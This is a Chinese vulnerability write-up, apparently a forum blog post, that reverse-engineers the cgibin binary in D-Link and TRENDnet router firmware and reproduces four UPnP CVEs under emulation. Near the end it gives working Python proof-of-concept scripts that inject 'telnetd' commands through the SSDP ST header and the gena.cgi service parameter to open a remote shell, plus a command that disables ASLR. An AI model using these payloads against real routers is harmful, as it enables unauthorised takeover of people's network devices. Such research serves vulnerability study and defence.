UPNP
,全称为:Universal Plug and Play
,中文为:通用即插即用,是一套基于TCP/IP
、UDP
和HTTP
的网络协议。
简单来说,就和它的名字一样,UPNP
的目的就是为了在某个设备接入网络后,该网络中的所有设备都知道有新设备加入,这些设备之间能互相沟通,甚至可直接使用或控制对方。
UPNP
的一大亮点就是,只要某设备支持并开启了UPNP
,当主机向其发出端口映射请求的时候,该设备就会自动为主机分配端口并进行端口映射。
在D-Link
,TRENDnet
等apache struct
的路由器的/htdocs
目录下都存在一个cgibin
二进制文件,它会有很多.cgi
文件的软链接,通过运行这些软链接,其名字会作为第一个参数传入cgibin
,就会调用到cgibin
中对应的函数。
cgibin
会作为 “请求验证文件” ,对用户的请求进行验证并解析,再将解析后的数据传给对应的文件,进行下一步的操作。
下图为UPNP
协议栈的结构示意图:
可以看到其中的 SSDP
(简单服务发现协议),SOAP
(简单对象访问协议)与GENA
(通用事件通知体系) ,其分别对应ssdpcgi
(在/htdocs/upnp
目录下),soap.cgi
(在/htdocs/upnp/docs/LAN-1
目录下),gena.cgi
(在/htdocs/upnp/docs/LAN-1
目录下),本文也主要是分析这几个cgi
在cgibin
中对应函数的漏洞。
由于牵涉到UPNP
协议,用qemu
来模拟是比较复杂的,需要手动初始化一些东西,因此笔者为了方便,选择使用FAP
来仿真模拟固件运行,这个平台基于firmadyne
,对其做了一些优化及改进,GitHub
的项目地址为:firmware-analysis-plus 。
该平台的优点是:可以做到一键仿真模拟固件运行,缺点是:适配性较差,最好在Kali
上安装使用,笔者所用的物理机是Kali 2021.11
的版本。
此外,经过笔者测试,该平台对大部分MIPS
架构的固件模拟都没有问题,但是对部分ARM
架构(特别是D-Link
系列高版本路由)的固件模拟好像会出一些问题。
关于ARM
无法成功仿真模拟的问题,笔者已经在github
上提交了issue咨询了作者,并且得到了回复:
笔者后来又找到了另一个优秀的“固件仿真框架”EMUX,这是一个基于docker
的框架,主要针对于arm
架构的仿真模拟,近期也支持了mips
架构,根据官方的描述,可以对DIR860
以上的arm
架构路由进行模拟运行。
2022.5.7更新:
这篇文章其实是挺久前写的了,昨天刚发出来,今天就收到了FAP
项目作者的回复,说是已经修复了D-Link
系列高版本arm
路由无法仿真的问题:
笔者立即测试了一下,的确是修复了该问题,接着,笔者又尝试用FAP
模拟运行了TP-Link
,Tenda
等品牌中多款arm
的固件,都能够成功。
从目前各方面综合来看,FAP
项目是仿真模拟IoT
固件的极好的选择。
注:以下复现的CVE
所影响的路由器为D-Link DIR-859
及以下的版本,以及部分D-Link DIR-859
以上的较低小版本,TRENDnet
的很多路由器因框架相同,也受其影响。
漏洞信息:CVE-2020-15893
这个CVE
与ssdpcgi
有关,我们先来分析cgibin
中的ssdpcgi_main
函数,可以很轻松地定位到可能的漏洞点在LABEL_17
这里:
进入lxmldbc_system
函数:
可以看到这里是用vsnprintf
对传进来的格式化字符串进行了拼接,其中va
是通过va_arg
取当前栈上的元素组成的va_list
,通过动态调试不难发现,这里取的栈上的元素就是存放在栈上的环境变量:
在真机环境中,这里只有HTTP_ST
是我们可控的。
当我们向HTTP_ST
注入恶意指令,那么拼接好的字符串v6
作为system
参数,就可以导致任意命令执行(RCE
)漏洞了。
再回到ssdpcgi_main
详细分析一下该如何构造payload
:
可以发现,进行一堆匹配验证,最后的格式化字符串只有下面两个会多出一个参数%s
的拼接,我们再看到汇编:
这里的第二个参数为/etc/scripts/upnp/M-SEARCH.sh
,第三四个参数可以往上查找到,分别是REMOTE_ADDR
和REMOTE_PORT
:
结合格式化字符串,可以猜测并通过动调验证出,最后在lxmldbc_system
函数中拼接好的system
的参数应为 /etc/scripts/upnp/M-SEARCH.sh XXX REMOTE_ADDR:REMOTE_PORT SERVER_ID HTTP_ST &
,因此,想要造成RCE
,也就是要让HTTP_ST
拼接上去,就必须要选用后面两个格式化字符串(device
和service
),也就需要之前有urn:
才行。
综上,我们初步构造的payload
可以是向HTTP_ST
注入urn:device:;telnetd -p 8888
,由于此busybox
自带了telnetd
,这里用telnetd
开一个端口,再从主机远程登陆进去是最方便的。
我们知道ssdpcgi
和UPNP
协议有关,也就是要发送报文到UPNP
相关的端口,所以先用FAP
模拟运行起固件,然后打开/var/run/httpd.conf
文件,可以找到:
也就是说,要向1900
端口发送报文,才能走到ssdpcgi
。
然而,发送一段报文,肯定是需要请求方式的,在cgibin
中不好直接看出来,可以到/usr/sbin/upnp
文件中去找ST
字段的关键词定位:
可以看到sub_41BFDC
函数中有对其的操作,再交叉引用到调用sub_41BFDC
的sub_41C2A0
函数,这里要求我们的请求方式是M-SEARCH
:
上图中的v10
是调用ILibParsePacketHeader
对a1 + 108
的数据包解析的结果,而a1 + 108
是接收到的socket
套接字储存的地方:
在sub_415C9C
中也可以看到,把socket
绑定到了1900
端口:
再回到有对ST
字段进行匹配操作的sub_41BFDC
函数,可以看到首先需要绕过下面圈出的判断,这里的1.1
显然就是HTTP
版本:
综上,从upnp
二进制文件中可以看到,我们得是M-SEARCH
请求方式,故:报文头应为M-SEARCH * HTTP/1.1
。
POC:
最终成功开启了8888
端口,利用telnet
远程登陆到了路由器固件中,可执行任意命令:
通过ps
命令查看进程,可以发现telnetd -p 8888
命令的确已经被成功执行:
漏洞信息:CVE-2019-17621
这个漏洞与gena.cgi
有关,还是先看到cgibin
中的genacgi_main
函数:
可以看到v5
是service=
后面的内容,再先看到SUBCRIBE
请求方式对应的sub_41A390
函数:
看到这里,拼接好的字符串v16
作为了xmldbc_ephp
的参数,xmldbc_ephp
函数在这里显然就是运行了/htdocs/upnp/run.NOTIFY.php
文件,于是,我们再来分析这个文件:
当SID
为空的时候,调用了GENA_subscribe_new
函数,这个函数在/htdocs/upnpinc/gena.php
中:
这里有对HOST
的检查,然后最后调用到了GENA_notify_init
函数:
在最后,将$shell_file
写入了shell
文件中,不难想到,可以通过控制shell_file
达成任意命令执行。
再看回到sub_41A390
函数中,既然HTTP_SID
必须为空才能走到漏洞点,那么自然就走到了else
分支:
这些检查都需要绕过,才能走到xmldbc_ephp
函数:
这里的SHELL_FILE
中可控参数a1
就是从genacgi_main
传进来的参数v5
,也就是service=
后面的内容。
综上,可以通过对service
注入恶意指令,造成RCE
漏洞 。
至此,我们知道了报文的请求方式得是SUBSCRIBE
才能触发漏洞,至于UNSUBSCRIBE
和SID
不为空的情况可以自行审一遍代码,很容易看出是行不通的。
接下来要做的就是找的对应的UPNP
端口,先找gena.cgi
在哪里,看到/etc/services/HTTP/httpsvcs.php
文件:
这里将cgibin
的软链接建到了/var/htdocs/upnp/
目录下,而这个目录也有软链接,为/htdocs/upnp/docs
:
得到了这些信息,再看到/var/run/httpd.conf
文件:
可以看到,需要向49152
端口发送报文 。
POC:
这里拿socket
或pwntools
来打都是OK的:
或者直接nc
上49152
端口手动发送报文:
漏洞信息:CVE-2018-6530
这个漏洞是在soap.cgi
中的,还是看到cgibin
中的soapcgi_main
函数:
首先需要绕过一些检查,比如CONTENT_TYPE
得是text/xml
,REQUEST_METHOD
得是POST
,HTTP_SOAPACTION
中得有#
等,可以看到这里对service
后的内容已经进行了一些过滤,但是 貌似忘记过滤了&
符号 。
接着往下看:
这里的cgibin_parse_request
已经很熟悉了,就是对POST
内容的解析,在这里用处不大,就注意设置一下相关环境变量即可。
再下面就来到漏洞点了:
这个fopen
的第二个参数是a+
,文件不存在就会创建,所以这个if
很好判断过,下面的sprintf + system
很显然存在一个任意命令执行的RCE
漏洞。
之前说过,&
忘记过滤了,因此我们可以用&&
连接恶意命令并注入到service
中,由于之前的sh /var/run/
是个合法路径,因此算执行成功,可以走到&&
之后的恶意命令。
在上一个CVE
中已经分析过了,soap.cgi
也是通过49152
端口发送报文给UPNP
的 。
POC:
漏洞信息:CVE-2022-25106
这个漏洞仍然是在gena.cgi
中,不过这次是存在缓冲区溢出的漏洞:
上图是当为UNSUBSCRIBE
请求方式时走到的函数,很容易看出存在一处栈溢出的漏洞,且当请求方式为SUBSCRIBE
时,也存在同样的栈溢出漏洞。
需要提一下的就是,这里的SERVER_ID
环境变量可以从httpd.conf
文件中看到:
这个环境变量本身就不为空,也不是我们可控的,在这个栈溢出漏洞中,我们可以对service
或HTTP_SID
进行payload
的注入,进行漏洞利用或造成拒绝服务。
这里需要注意的是:用FAP
启动好固件后,需要用echo 0 > /proc/sys/kernel/randomize_va_space
命令关闭地址随机化(ASLR
),因为在真机环境中就是没开ASLR
的,也方便我们接下来的复现:
POC-1:
用UNSUBSCRIBE
的请求方式,对service
进行了注入。
成功地远程登陆到了路由固件中:
检测到23
号端口的telnet
服务已被开启:
POC-2:
这个脚本在firmadyne
模拟的环境中是打不通的,原因未知,可能是shellcode
过长,到了一些不可执行区,但是在真机环境是可以打通的。
这里用的是SUBSCRIBE
的请求方式,对service
进行了注入。
POC-3:
发现DIR-860L v2.03
竟然还存在这个漏洞,于是也打了一下,这里注入的是HTTP_SID
,又由于uClibc
版本换了,所以gadget
也有些变化:
POC-4:
发现DIR-880L v1.0
虽然架构换成了armel
,但是这个漏洞仍然是存在的。
不过,FAP
对部分arm
架构的固件的仿真运行有些问题,笔者也还不太会用EMUX
,没成功启动固件,目前又没有真机的测试条件,就先贴一下POC
(这里的gadget
在本地的qemu
测试过,是可以跑通的):
2022.5.7更新:FAP
项目作者已经修复了D-LINK
系列高版本arm
路由无法仿真模拟的问题,下面给出的是最终测试通过的POC
。
from
socket
import
*
from
os
import
*
from
time
import
*
payload
=
b
'M-SEARCH * HTTP/1.1\r\n'
payload
+
=
b
'HOST:localhost:1900\r\n'
payload
+
=
b
'ST:urn:device:;telnetd -p 8888\r\n\r\n'
s
=
socket(AF_INET, SOCK_DGRAM,
0
)
s.sendto(payload, (
"192.168.10.1"
,
1900
))
s.close()
sleep(
1
)
system(
"telnet 192.168.10.1 8888"
)
from
socket
import
*
from
os
import
*
from
time
import
*
payload
=
b
'M-SEARCH * HTTP/1.1\r\n'
payload
+
=
b
'HOST:localhost:1900\r\n'
payload
+
=
b
'ST:urn:device:;telnetd -p 8888\r\n\r\n'
s
=
socket(AF_INET, SOCK_DGRAM,
0
)
s.sendto(payload, (
"192.168.10.1"
,
1900
))
s.close()
sleep(
1
)
system(
"telnet 192.168.10.1 8888"
)
from
pwn
import
*
from
socket
import
*
from
os
import
*
from
time
import
*
request
=
b
"SUBSCRIBE /gena.cgi?service="
+
b
"`telnetd -p 7777`"
+
b
" HTTP/1.1\r\n"
request
+
=
b
"Host: localhost:49152\r\n"
request
+
=
b
"Callback: http:///\r\n"
request
+
=
b
"NT: upnp:event\r\n"
request
+
=
b
"Timeout: Second-2333\r\n\r\n"
s
=
socket(AF_INET, SOCK_STREAM)
s.connect((gethostbyname(
"192.168.0.1"
),
49152
))
s.send(request)
sleep(
1
)
os.system(
'telnet 192.168.0.1 7777'
)
from
pwn
import
*
from
socket
import
*
from
os
import
*
from
time
import
*
request
=
b
"SUBSCRIBE /gena.cgi?service="
+
b
"`telnetd -p 7777`"
+
b
" HTTP/1.1\r\n"
request
+
=
b
"Host: localhost:49152\r\n"
request
+
=
b
"Callback: http:///\r\n"
request
+
=
b
"NT: upnp:event\r\n"
request
+
=
b
"Timeout: Second-2333\r\n\r\n"
s
=
socket(AF_INET, SOCK_STREAM)
s.connect((gethostbyname(
"192.168.0.1"
),
49152
))
s.send(request)
sleep(
1
)
os.system(
'telnet 192.168.0.1 7777'
)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2022-5-7 17:14
被winmt编辑
,原因: FAP项目已经修复了无法仿真模拟部分arm架构固件的问题